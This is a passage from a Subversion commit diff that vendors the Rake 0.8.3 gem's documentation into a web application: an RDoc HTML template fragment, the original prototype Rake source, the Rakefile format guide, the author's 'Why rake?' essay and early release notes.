+  </div>
+</div>
+ENDIF:sourcecode
+</div>
+END:methods
+ENDIF:methods
+END:method_list
+ENDIF:method_list
+END:sections
+</div>
+HTML
+
+FOOTER = <<ENDFOOTER
+  </body>
+</html>
+ENDFOOTER
+
+BODY = HEADER + <<ENDBODY
+  !INCLUDE! <!-- banner header -->
+
+  <div id="bodyContent">
+    #{METHOD_LIST}
+  </div>
+
+  #{FOOTER}
+ENDBODY
+
+########################## Source code ##########################
+
+SRC_PAGE = XHTML_PREAMBLE + <<HTML
+<html>
+<head><title>%title%</title>
+<meta http-equiv="Content-Type" content="text/html; charset=%charset%">
+<style>
+.ruby-comment    { color: green; font-style: italic }
+.ruby-constant   { color: #4433aa; font-weight: bold; }
+.ruby-identifier { color: #222222;  }
+.ruby-ivar       { color: #2233dd; }
+.ruby-keyword    { color: #3333FF; font-weight: bold }
+.ruby-node       { color: #777777; }
+.ruby-operator   { color: #111111;  }
+.ruby-regexp     { color: #662222; }
+.ruby-value      { color: #662222; font-style: italic }
+  .kw { color: #3333FF; font-weight: bold }
+  .cmt { color: green; font-style: italic }
+  .str { color: #662222; font-style: italic }
+  .re  { color: #662222; }
+</style>
+</head>
+<body bgcolor="white">
+<pre>%code%</pre>
+</body>
+</html>
+HTML
+
+########################## Index ################################
+
+FR_INDEX_BODY = <<HTML
+!INCLUDE!
+HTML
+
+FILE_INDEX = XHTML_PREAMBLE + <<HTML
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=%charset%">
+<style>
+<!--
+  body {
+    background-color: #EEE;
+    font-family: #{FONTS}; 
+    color: #000;
+    margin: 0px;
+  }
+  .banner {
+    background: #005;
+    color: #FFF;
+    padding: 0.2em;
+    font-size: small;
+    font-weight: bold;
+    text-align: center;
+  }
+  .entries {
+    margin: 0.25em 1em 0 1em;
+    font-size: x-small;
+  }
+  a {
+    color: #00F;
+    text-decoration: none;
+    white-space: nowrap;
+  }
+  a:hover {
+    color: #77F;
+    text-decoration: underline;
+  }
+-->
+</style>
+<base target="docwin">
+</head>
+<body>
+<div class="banner">%list_title%</div>
+<div class="entries">
+START:entries
+<a href="%href%">%name%</a><br>
+END:entries
+</div>
+</body></html>
+HTML
+
+CLASS_INDEX = FILE_INDEX
+METHOD_INDEX = FILE_INDEX
+
+INDEX = XHTML_PREAMBLE + <<HTML
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <title>%title%</title>
+  <meta http-equiv="Content-Type" content="text/html; charset=%charset%">
+</head>
+
+<frameset cols="20%,*">
+    <frameset rows="15%,35%,50%">
+        <frame src="fr_file_index.html"   title="Files" name="Files" />
+        <frame src="fr_class_index.html"  name="Classes" />
+        <frame src="fr_method_index.html" name="Methods" />
+    </frameset>
+IF:inline_source
+      <frame  src="%initial_page%" name="docwin">
+ENDIF:inline_source
+IFNOT:inline_source
+    <frameset rows="80%,20%">
+      <frame  src="%initial_page%" name="docwin">
+      <frame  src="blank.html" name="source">
+    </frameset>
+ENDIF:inline_source
+    <noframes>
+          <body bgcolor="white">
+            Click <a href="html/index.html">here</a> for a non-frames
+            version of this page.
+          </body>
+    </noframes>
+</frameset>
+
+</html>
+HTML
+
+end
+end
+
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/proto_rake.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/proto_rake.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/proto_rake.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,127 @@
+= Original Prototype Rake
+
+This is the original 100 line prototype rake program.
+
+---
+ #!/usr/bin/env ruby
+ 
+ require 'ftools'
+ 
+ class Task
+   TASKS = Hash.new
+ 
+   attr_reader :prerequisites
+ 
+   def initialize(task_name)
+     @name = task_name
+     @prerequisites = []
+     @actions = []
+   end
+ 
+   def enhance(deps=nil, &block)
+     @prerequisites |= deps if deps
+     @actions << block if block_given?
+     self
+   end
+ 
+   def name
+     @name.to_s
+   end
+ 
+   def invoke
+     @prerequisites.each { |n| Task[n].invoke }
+     execute if needed?
+   end
+ 
+   def execute
+     return if @triggered
+     @triggered = true
+     @actions.collect { |act| result = act.call(self) }.last
+   end
+ 
+   def needed?
+     true
+   end
+ 
+   def timestamp
+     Time.now
+   end
+ 
+   class << self
+     def [](task_name)
+       TASKS[intern(task_name)] or fail "Don't know how to rake #{task_name}"
+     end
+     
+     def define_task(args, &block)
+       case args
+       when Hash
+ 	fail "Too Many Target Names: #{args.keys.join(' ')}" if args.size > 1
+ 	fail "No Task Name Given" if args.size < 1
+ 	task_name = args.keys[0]
+ 	deps = args[task_name]
+       else
+ 	task_name = args
+ 	deps = []
+       end
+       deps = deps.collect {|d| intern(d) }
+       get(task_name).enhance(deps, &block)
+     end
+ 
+     def get(task_name)
+       name = intern(task_name)
+       TASKS[name] ||= self.new(name)
+     end
+ 
+     def intern(task_name)
+       (Symbol === task_name) ? task_name : task_name.intern
+     end
+   end
+ end
+ 
+ class FileTask < Task
+   def needed?
+     return true unless File.exist?(name)
+     latest_prereq = @prerequisites.collect{|n| Task[n].timestamp}.max
+     return false if latest_prereq.nil?
+     timestamp < latest_prereq
+   end
+ 
+   def timestamp
+     File.new(name.to_s).mtime
+   end
+ end
+ 
+ def task(args, &block)
+   Task.define_task(args, &block)
+ end
+ 
+ def file(args, &block)
+   FileTask.define_task(args, &block)
+ end
+ 
+ def sys(cmd)
+   puts cmd
+   system(cmd) or fail "Command Failed: [#{cmd}]"
+ end
+   
+ def rake
+   begin
+     here = Dir.pwd
+     while ! File.exist?("Rakefile")
+       Dir.chdir("..")
+       fail "No Rakefile found" if Dir.pwd == here
+       here = Dir.pwd
+     end
+     puts "(in #{Dir.pwd})"
+     load "./Rakefile"
+     ARGV.push("default") if ARGV.size == 0
+     ARGV.each { |task_name| Task[task_name].invoke }
+   rescue Exception => ex
+     puts "rake aborted ... #{ex.message}"
+     puts ex.backtrace.find {|str| str =~ /Rakefile/ } || ""
+   end    
+ end
+ 
+ if __FILE__ == $0 then
+   rake
+ end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/rake.1.gz
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/rake.1.gz
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/rakefile.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/rakefile.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/rakefile.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,534 @@
+= Rakefile Format (as of version 0.8.2)
+
+First of all, there is no special format for a Rakefile.  A Rakefile
+contains executable Ruby code.  Anything legal in a ruby script is
+allowed in a Rakefile.
+
+Now that we understand there is no special syntax in a Rakefile, there
+are some conventions that are used in a Rakefile that are a little
+unusual in a typical Ruby program.  Since a Rakefile is tailored to
+specifying tasks and actions, the idioms used in a Rakefile are
+designed to support that.
+
+So, what goes into a Rakefile?
+
+== Tasks
+
+Tasks are the main unit of work in a Rakefile.  Tasks have a name
+(usually given as a symbol or a string), a list of prerequisites (more
+symbols or strings) and a list of actions (given as a block).
+
+=== Simple Tasks
+
+A task is declared by using the +task+ method.  +task+ takes a single
+parameter that is the name of the task.
+
+  task :name
+
+=== Tasks with Prerequisites
+
+Any prerequisites are given as a list (inclosed in square brackets)
+following the name and an arrow (=>).
+
+  task :name => [:prereq1, :prereq2]
+
+<b>NOTE:</b> Although this syntax looks a little funky, it is legal
+Ruby.  We are constructing a hash where the key is :name and the value
+for that key is the list of prerequisites.  It is equivalent to the
+following ...
+
+  hash = Hash.new
+  hash[:name] = [:prereq1, :prereq2]
+  task(hash)
+
+=== Tasks with Actions
+
+Actions are defined by passing a block to the +task+ method.  Any Ruby
+code can be placed in the block.  The block may reference the task
+object via the block paramter..
+
+  task :name => [:prereq1, :prereq2] do |t|
+    # actions (may reference t)
+  end
+
+=== Multiple Definitions
+
+A task may be specified more than once.  Each specification adds its
+prerequisites and actions to the existing definition.  This allows one
+part of a rakefile to specify the actions and a different rakefile
+(perhaps separately generated) to specify the dependencies.
+
+For example, the following is equivalent to the single task
+specification given above.
+
+  task :name
+  task :name => [:prereq1]
+  task :name => [:prereq2]
+  task :name do |t|
+    # actions
+  end
+
+== File Tasks
+
+Some tasks are designed to create a file from one or more other files.
+Tasks that generate these files may be skipped if the file already
+exists.  File tasks are used to specify file creation tasks.
+
+File tasks are declared using the +file+ method (instead of the +task+
+method).  In addition, file tasks are usually named with a string
+rather than a symbol.
+
+The following file task creates a executable program (named +prog+)
+given two object files name <tt>a.o</tt> and <tt>b.o</tt>.  The tasks
+for creating <tt>a.o</tt> and <tt>b.o</tt> are not shown.
+
+  file "prog" => ["a.o", "b.o"] do |t|
+    sh "cc -o #{t.name} #{t.prerequisites.join(' ')}"
+  end
+
+== Directory Tasks
+
+It is common to need to create directories upon demand.  The
++directory+ convenience method is a short-hand for creating a FileTask
+that creates the directory.  For example, the following declaration
+...
+
+  directory "testdata/examples/doc"
+
+is equivalent to ...
+
+  file "testdata"              do |t| mkdir t.name end
+  file "testdata/examples"     do |t| mkdir t.name end
+  file "testdata/examples/doc" do |t| mkdir t.name end
+
+The +directory+ method does not accept prerequisites or actions, but
+both prerequisites and actions can be added later.  For example ...
+
+  directory "testdata"
+  file "testdata" => ["otherdata"]
+  file "testdata" do
+    cp Dir["standard_data/*.data"], "testdata"
+  end
+
+== Tasks with Parallel Prerequisites
+
+Rake allows parallel execution of prerequisites using the following syntax:
+
+  multitask :copy_files => [:copy_src, :copy_doc, :copy_bin] do
+    puts "All Copies Complete"
+  end
+
+In this example, +copy_files+ is a normal rake task.  Its actions are
+executed whereever all of its prerequisites are done.  The big
+difference is that the prerequisites (+copy_src+, +copy_bin+ and
++copy_doc+) are executed in parallel.  Each of the prerequisites are
+run in their own Ruby thread, possibly allowing faster overall runtime.
+
+=== Secondary Prerequisites
+
+If any of the primary prerequites of a multitask have common secondary
+prerequisites, all of the primary/parallel prerequisites will wait
+until the common prerequisites have been run.
+
+For example, if the <tt>copy_<em>xxx</em></tt> tasks have the
+following prerequisites:
+
+  task :copy_src => [:prep_for_copy]
+  task :copy_bin => [:prep_for_copy]
+  task :copy_doc => [:prep_for_copy]
+
+Then the +prep_for_copy+ task is run before starting all the copies in
+parallel.  Once +prep_for_copy+ is complete, +copy_src+, +copy_bin+,
+and +copy_doc+ are all run in parallel.  Note that +prep_for_copy+ is
+run only once, even though it is referenced in multiple threads.
+
+=== Thread Safety
+
+The Rake internal data structures are thread-safe with respect
+to the multitask parallel execution, so there is no need for the user
+to do extra synchronization for Rake's benefit.  However, if there are
+user data structures shared between the parallel prerequisites, the
+user must do whatever is necessary to prevent race conditions.
+
+== Tasks with Arguments
+
+Prior to version 0.8.0, rake was only able to handle command line
+arguments of the form NAME=VALUE that were passed into Rake via the
+ENV hash.  Many folks had asked for some kind of simple command line
+arguments, perhaps using "--" to separate regular task names from
+argument values on the command line.  The problem is that there was no
+easy way to associate positional arguments on the command line with
+different tasks.  Suppose both tasks :a and :b expect a command line
+argument: does the first value go with :a?  What if :b is run first?
+Should it then get the first command line argument.
+
+Rake 0.8.0 solves this problem by explicitly passing values directly
+to the tasks that need them.  For example, if I had a release task
+that required a version number, I could say:
+
+   rake release[0.8.2]
+
+And the string "0.8.2" will be passed to the :release task.  Multiple
+arguments can be passed by separating them with a comma, for example:
+
+   rake name[john,doe]
+
+Just a few words of caution.  The rake task name and its arguments
+need to be a single command line argument to rake.  This generally
+means no spaces.  If spaces are needed, then the entire rake +
+argument string should be quoted.  Something like this:
+
+   rake "name[billy bob, smith]"
+
+(Quoting rules vary between operating systems and shells, so make sure
+you consult the proper docs for your OS/shell).
+
+=== Tasks that Expect Parameters
+
+Parameters are only given to tasks that are setup to expect them.  In
+order to handle named parameters, the task declaration syntax for
+tasks has been extended slightly.
+
+For example, a task that needs a first name and last name might be
+declared as:
+
+   task :name, [:first_name, :last_name]
+
+The first argument is still the name of the task (:name in this case).
+The next to argumements are the names of the parameters expected by
+:name in an array (:first_name and :last_name in the example).
+
+To access the values of the paramters, the block defining the task
+behaviour can now accept a second parameter:
+
+   task :name, [:first_name, :last_name] do |t, args|
+     puts "First name is #{args.first_name}"
+     puts "Last  name is #{args.last_name}"
+   end
+
+The first argument of the block "t" is always bound to the current
+task object.  The second argument "args" is an open-struct like object
+that allows access to the task arguments.  Extra command line
+arguments to a task are ignored.  Missing command line arguments are
+given the nil value.
+
+If you wish to specify default values for the arguments, you can use
+the with_defaults method in the task body.  Here is the above example
+where we specify default values for the first and last names:
+
+   task :name, [:first_name, :last_name] do |t, args|
+     args.with_defaults(:first_name => "John", :last_name => "Dough")
+     puts "First name is #{args.first_name}"
+     puts "Last  name is #{args.last_name}"
+   end
+
+=== Tasks that Expect Parameters and Have Prerequisites
+
+Tasks that use parameters have a slightly different format for
+prerequisites.  Use the <tt>:needs</tt> keyword to specify the
+prerequisites for tasks with arguments.  For example:
+
+   task :name, [:first_name, :last_name] => [:pre_name] do |t, args|
+     args.with_defaults(:first_name => "John", :last_name => "Dough")
+     puts "First name is #{args.first_name}"
+     puts "Last  name is #{args.last_name}"
+   end
+
+=== Deprecated Task Parameters Format
+
+There is an older format for declaring task parameters that omitted
+the task array and used the :needs keyword to introduce the
+dependencies.  That format is still supported for compatibility, but
+is not recommended for use.
+
+== Accessing Task Programatically
+
+Sometimes it is useful to manipulate tasks programatically in a
+Rakefile. To find a task object, use the <tt>:[]</tt> operator on the
+<tt>Rake::Task</tt>.
+
+=== Programmatic Task Example
+
+For example, the following Rakefile defines two tasks.  The :doit task
+simply prints a simple "DONE" message.  The :dont class will lookup
+the doit class and remove (clear) all of its prerequisites and
+actions.
+
+   task :doit do
+     puts "DONE"
+   end
+
+   task :dont do
+     Rake::Task[:doit].clear
+   end        
+
+Running this example:
+
+  $ rake doit
+  (in /Users/jim/working/git/rake/x)
+  DONE
+  $ rake dont doit
+  (in /Users/jim/working/git/rake/x)
+  $ 
+
+The ability to programmatically manipulate tasks gives rake very
+powerful meta-programming capabilities w.r.t. task execution, but
+should be used with cation.
+
+== Rules
+
+When a file is named as a prerequisite, but does not have a file task
+defined for it, Rake will attempt to synthesize a task by looking at a
+list of rules supplied in the Rakefile.
+
+Suppose we were trying to invoke task "mycode.o", but no task is
+defined for it.  But the rakefile has a rule that look like this ...
+
+  rule '.o' => ['.c'] do |t|
+    sh "cc #{t.source} -c -o #{t.name}"
+  end
+
+This rule will synthesize any task that ends in ".o".  It has a
+prerequisite a source file with an extension of ".c" must exist.  If
+Rake is able to find a file named "mycode.c", it will automatically
+create a task that builds "mycode.o" from "mycode.c".
+
+If the file "mycode.c" does not exist, rake will attempt
+to recursively synthesize a rule for it. 
+
+When a task is synthesized from a rule, the +source+ attribute of the
+task is set to the matching source file.  This allows us to write
+rules with actions that reference the source file.
+
+=== Advanced Rules
+
+Any regular expression may be used as the rule pattern.  Additionally,
+a proc may be used to calculate the name of the source file.  This
+allows for complex patterns and sources.
+
+The following rule is equivalent to the example above.
+
+  rule( /\.o$/ => [
+    proc {|task_name| task_name.sub(/\.[^.]+$/, '.c') }
+  ]) do |t|
+    sh "cc #{t.source} -c -o #{t.name}"
+  end    
+
+<b>NOTE:</b> Because of a _quirk_ in Ruby syntax, parenthesis are
+required on *rule* when the first argument is a regular expression.
+
+The following rule might be used for Java files ...
+
+  rule '.java' => [
+    proc { |tn| tn.sub(/\.class$/, '.java').sub(/^classes\//, 'src/') }
+  ] do |t|
+    java_compile(t.source, t.name)  
+  end
+
+<b>NOTE:</b> +java_compile+ is a hypothetical method that invokes the
+java compiler.
+
+== Importing Dependencies
+
+Any ruby file (including other rakefiles) can be included with a
+standard Ruby +require+ command.  The rules and declarations in the
+required file are just added to the definitions already accumulated.
+
+Because the files are loaded _before_ the rake targets are evaluated,
+the loaded files must be "ready to go" when the rake command is
+invoked.  This make generated dependency files difficult to use.  By
+the time rake gets around to updating the dependencies file, it is too
+late to load it.
+
+The +import+ command addresses this by specifying a file to be loaded
+_after_ the main rakefile is loaded, but _before_ any targets on the
+command line are specified.  In addition, if the file name matches an
+explicit task, that task is invoked before loading the file.  This
+allows dependency files to be generated and used in a single rake
+command invocation.
+
+=== Example:
+
+  require 'rake/loaders/makefile'
+
+  file ".depends.mf" => [SRC_LIST] do |t|
+    sh "makedepend -f- -- #{CFLAGS} -- #{t.prerequisites} > #{t.name}"
+  end
+
+  import ".depends.mf"
+
+If ".depends" does not exist, or is out of date w.r.t. the source
+files, a new ".depends" file is generated using +makedepend+ before
+loading.
+
+== Comments
+
+Standard Ruby comments (beginning with "#") can be used anywhere it is
+legal in Ruby source code, including comments for tasks and rules.
+However, if you wish a task to be described using the "-T" switch,
+then you need to use the +desc+ command to describe the task.
+
+=== Example:
+
+  desc "Create a distribution package"
+  task :package => [ ... ] do ... end
+
+The "-T" switch (or "--tasks" if you like to spell things out) will
+display a list of tasks that have a defined comment.  If you use
++desc+ to describe your major tasks, you have a semi-automatic way of
+generating a summary of your Rake file.
+
+  traken$ rake -T
+  (in /home/.../rake)
+  rake clean            # Remove any temporary products.
+  rake clobber          # Remove any generated file.
+  rake clobber_rdoc     # Remove rdoc products
+  rake contrib_test     # Run tests for contrib_test
+  rake default          # Default Task
+  rake install          # Install the application
+  rake lines            # Count lines in the main rake file
+  rake rdoc             # Build the rdoc HTML Files
+  rake rerdoc           # Force a rebuild of the RDOC files
+  rake test             # Run tests
+  rake testall          # Run all test targets
+
+Only tasks with descriptions will be displayed with the "-T" switch.
+Use "-P" (or "--prereqs") to get a list of all tasks and their
+prerequisites.
+
+== Namespaces
+
+As projects grow (and along with it, the number of tasks), it is
+common for task names to begin to clash.  For example, if you might
+have a main program and a set of sample programs built by a single
+Rakefile.  By placing the tasks related to the main program in one
+namespace, and the tasks for building the sample programs in a
+different namespace, the task names will not will not interfer with
+each other.
+
+For example:
+
+  namespace "main"
+    task :build do
+      # Build the main program
+    end
+  end
+
+  namespace "samples" do
+    task :build do
+      # Build the sample programs
+    end
+  end
+
+  task :build => ["main:build", "samples:build"]
+
+Referencing a task in a separate namespace can be achieved by
+prefixing the task name with the namespace and a colon
+(e.g. "main:build" refers to the :build task in the +main+ namespace).
+Nested namespaces are supported, so
+
+Note that the name given in the +task+ command is always the unadorned
+task name without any namespace prefixes.  The +task+ command always
+defines a task in the current namespace.  
+
+=== FileTasks
+
+File task names are not scoped by the namespace command.  Since the
+name of a file task is the name of an actual file in the file system,
+it makes little sense to include file task names in name space.
+Directory tasks (created by the +directory+ command) are a type of
+file task and are also not affected by namespaces.
+
+=== Name Resolution
+
+When looking up a task name, rake will start with the current
+namespace and attempt to find the name there.  If it fails to find a
+name in the current namespace, it will search the parent namespaces
+until a match is found (or an error occurs if there is no match).
+
+The "rake" namespace is a special implicit namespace that refers to
+the toplevel names.
+
+If a task name begins with a "^" character, the name resolution will
+start in the parent namespace.  Multiple "^" characters are allowed.
+
+Here is an example file with multiple :run tasks and how various names
+resolve in different locations.
+
+  task :run
+
+  namespace "one" do
+    task :run
+
+    namespace "two" do
+      task :run
+
+      # :run            => "one:two:run"
+      # "two:run"       => "one:two:run"
+      # "one:two:run"   => "one:two:run"
+      # "one:run"       => "one:run"
+      # "^run"          => "one:run"
+      # "^^run"         => "rake:run" (the top level task)
+      # "rake:run"      => "rake:run" (the top level task)
+    end
+
+    # :run       => "one:run"
+    # "two:run"  => "one:two:run"
+    # "^run"     => "rake:run"
+  end
+
+  # :run           => "rake:run"
+  # "one:run"      => "one:run"
+  # "one:two:run"  => "one:two:run"
+
+== FileLists
+
+FileLists are the way Rake manages lists of files.  You can treat a
+FileList as an array of strings for the most part, but FileLists
+support some additional operations.
+
+=== Creating a FileList
+
+Creating a file list is easy.  Just give it the list of file names:
+
+   fl = FileList['file1.rb', file2.rb']
+
+Or give it a glob pattern:
+
+   fl = FileList['*.rb']
+
+== Odds and Ends
+
+=== do/end verses { }
+
+Blocks may be specified with either a +do+/+end+ pair, or with curly
+braces in Ruby.  We _strongly_ recommend using +do+/+end+ to specify the
+actions for tasks and rules.  Because the rakefile idiom tends to
+leave off parenthesis on the task/file/rule methods, unusual
+ambiguities can arise when using curly braces.
+
+For example, suppose that the method +object_files+ returns a list of
+object files in a project.  Now we use +object_files+ as the
+prerequistes in a rule specified with actions in curly braces.
+
+  # DON'T DO THIS!
+  file "prog" => object_files {
+    # Actions are expected here (but it doesn't work)!
+  }
+
+Because curly braces have a higher precedence than +do+/+end+, the
+block is associated with the +object_files+ method rather than the
++file+ method.
+
+This is the proper way to specify the task ...
+
+  # THIS IS FINE
+  file "prog" => object_files do
+    # Actions go here
+  end
+
+----
+
+== See
+
+* README -- Main documentation for Rake.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/rational.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/rational.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/rational.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,151 @@
+= Why rake?
+
+Ok, let me state from the beginning that I never intended to write this
+code.  I'm not convinced it is useful, and I'm not convinced anyone
+would even be interested in it.  All I can say is that Why's onion truck
+must by been passing through the Ohio valley.
+
+What am I talking about? ... A Ruby version of Make.
+
+See, I can sense you cringing already, and I agree.  The world certainly
+doesn't need yet another reworking of the "make" program.  I mean, we
+already have "ant".  Isn't that enough?
+
+It started yesterday.  I was helping a coworker fix a problem in one of
+the Makefiles we use in our project.  Not a particularly tough problem,
+but during the course of the conversation I began lamenting some of the
+shortcomings of make.  In particular, in one of my makefiles I wanted to
+determine the name of a file dynamically and had to resort to some
+simple scripting (in Ruby) to make it work.  "Wouldn't it be nice if you
+could just use Ruby inside a Makefile" I said.
+
+My coworker (a recent convert to Ruby) agreed, but wondered what it
+would look like.  So I sketched the following on the whiteboard...
+
+    "What if you could specify the make tasks in Ruby, like this ..."
+
+      task "build" do
+        java_compile(...args, etc ...)
+      end
+
+    "The task function would register "build" as a target to be made,
+    and the block would be the action executed whenever the build
+    system determined that it was time to do the build target."
+
+We agreed that would be cool, but writing make from scratch would be WAY
+too much work.  And that was the end of that!
+
+... Except I couldn't get the thought out of my head.  What exactly
+would be needed to make the about syntax work as a make file?  Hmmm, you
+would need to register the tasks, you need some way of specifying
+dependencies between tasks, and some way of kicking off the process. 
+Hey!  What if we did ... and fifteen minutes later I had a working
+prototype of Ruby make, complete with dependencies and actions.
+
+I showed the code to my coworker and we had a good laugh.  It was just
+about a page worth of code that reproduced an amazing amount of the
+functionality of make.  We were both truely stunned with the power of
+Ruby.
+
+But it didn't do everything make did.  In particular, it didn't have
+timestamp based file dependencies (where a file is rebuilt if any of its
+prerequisite files have a later timestamp).  Obviously THAT would be a
+pain to add and so Ruby Make would remain an interesting experiment.
+
+... Except as I walked back to my desk, I started thinking about what
+file based dependecies would really need.  Rats!  I was hooked again,
+and by adding a new class and two new methods, file/timestamp
+dependencies were implemented.
+
+Ok, now I was really hooked.  Last night (during CSI!) I massaged the
+code and cleaned it up a bit.  The result is a bare-bones replacement
+for make in exactly 100 lines of code.
+
+For the curious, you can see it at ...
+* doc/proto_rake.rdoc
+
+Oh, about the name.  When I wrote the example Ruby Make task on my
+whiteboard, my coworker exclaimed "Oh! I have the perfect name: Rake ...
+Get it?  Ruby-Make. Rake!"  He said he envisioned the tasks as leaves
+and Rake would clean them up  ... or something like that.  Anyways, the
+name stuck.
+
+Some quick examples ...
+
+A simple task to delete backup files ...
+
+   task :clean do
+     Dir['*~'].each {|fn| rm fn rescue nil}
+   end
+
+Note that task names are symbols (they are slightly easier to type
+than quoted strings ... but you may use quoted string if you would
+rather). Rake makes the methods of the FileUtils module directly
+available, so we take advantage of the <tt>rm</tt> command.  Also note
+the use of "rescue nil" to trap and ignore errors in the <tt>rm</tt>
+command.
+
+To run it, just type "rake clean".  Rake will automatically find a
+Rakefile in the current directory (or above!) and will invoke the
+targets named on the command line.  If there are no targets explicitly
+named, rake will invoke the task "default".
+
+Here's another task with dependencies ...
+
+   task :clobber => [:clean] do
+     rm_r "tempdir"
+   end
+
+Task :clobber depends upon task :clean, so :clean will be run before
+:clobber is executed. 
+
+Files are specified by using the "file" command.  It is similar to the
+task command, except that the task name represents a file, and the task
+will be run only if the file doesn't exist, or if its modification time
+is earlier than any of its prerequisites.
+
+Here is a file based dependency that will compile "hello.cc" to
+"hello.o".
+
+   file "hello.cc"
+   file "hello.o" => ["hello.cc"] do |t|
+     srcfile = t.name.sub(/\.o$/, ".cc")
+     sh %{g++ #{srcfile} -c -o #{t.name}}
+   end
+
+I normally specify file tasks with string (rather than symbols).  Some
+file names can't be represented by symbols.  Plus it makes the
+distinction between them more clear to the casual reader.  
+
+Currently writing a task for each and every file in the project would be
+tedious at best.  I envision a set of libraries to make this job
+easier.  For instance, perhaps something like this ...
+
+   require 'rake/ctools'
+   Dir['*.c'].each do |fn|
+     c_source_file(fn)
+   end
+
+where "c_source_file" will create all the tasks need to compile all the
+C source files in a directory.  Any number of useful libraries could be
+created for rake.
+
+That's it.  There's no documentation (other than whats in this
+message).  Does this sound interesting to anyone?  If so, I'll continue
+to clean it up and write it up and publish it on RAA.  Otherwise, I'll
+leave it as an interesting excerise and a tribute to the power of Ruby.
+
+Why /might/ rake be interesting to Ruby programmers.  I don't know,
+perhaps ...
+
+* No weird make syntax (only weird Ruby syntax :-)
+* No need to edit or read XML (a la ant)
+* Platform independent build scripts.
+* Will run anywhere Ruby exists, so no need to have "make" installed.
+  If you stay away from the "sys" command and use things like
+  'ftools', you can have a perfectly platform independent
+  build script.  Also rake is only 100 lines of code, so it can
+  easily be packaged along with the rest of your code.
+
+So ... Sorry for the long rambling message.  Like I said, I never
+intended to write this code at all.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.4.14.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.4.14.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.4.14.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+= Rake 0.4.14 Released
+
+== Changes
+
+Version 0.4.14 is a compatibility fix to allow Rake's test task to
+work under Ruby 1.8.2.  A change in the Test::Unit autorun feature
+prevented Rake from running any tests.  This release fixes the
+problem.
+
+Rake 0.4.14 is the recommended release for anyone using Ruby 1.8.2.
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways.  But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies.  You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.4.15.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.4.15.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.4.15.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+= Rake 0.4.15 Released
+
+== Changes
+
+Version 0.4.15 is a bug fix update for the Ruby 1.8.2 compatibility
+changes.  This release includes:
+
+* Fixed a bug that prevented the TESTOPTS flag from working with the
+  revised for 1.8.2 test task.
+
+* Updated the docs on --trace to indicate that it also enables a full
+  backtrace on errors. 
+
+* Several fixes for new warnings generated.
+
+== Mini-Roadmap
+
+I will continue to issue Rake updates in the 0.4.xx series as new
+Ruby-1.8.2 issues become manifest.  Once the codebase stabilizes, I
+will release a 0.5.0 version incorporating all the changes.  If you
+are not using Ruby-1.8.2 and wish to avoid version churn, I recommend
+staying with a release prior to Rake-0.4.14.
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways.  But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies.  You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.0.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.0.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.0.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,53 @@
+= Rake 0.5.0 Released
+
+It has been a long time in coming, but we finally have a new version
+of Rake available.  
+
+== Changes
+
+* Fixed bug where missing intermediate file dependencies could cause
+  an abort with --trace or --dry-run.  (Brian Candler)
+
+* Recursive rules are now supported (Tilman Sauerbeck).
+
+* Added tar.gz and tar.bz2 support to package task (Tilman Sauerbeck).
+
+* Added warning option for the Test Task (requested by Eric Hodel).
+
+* The jamis rdoc template is only used if it exists.
+
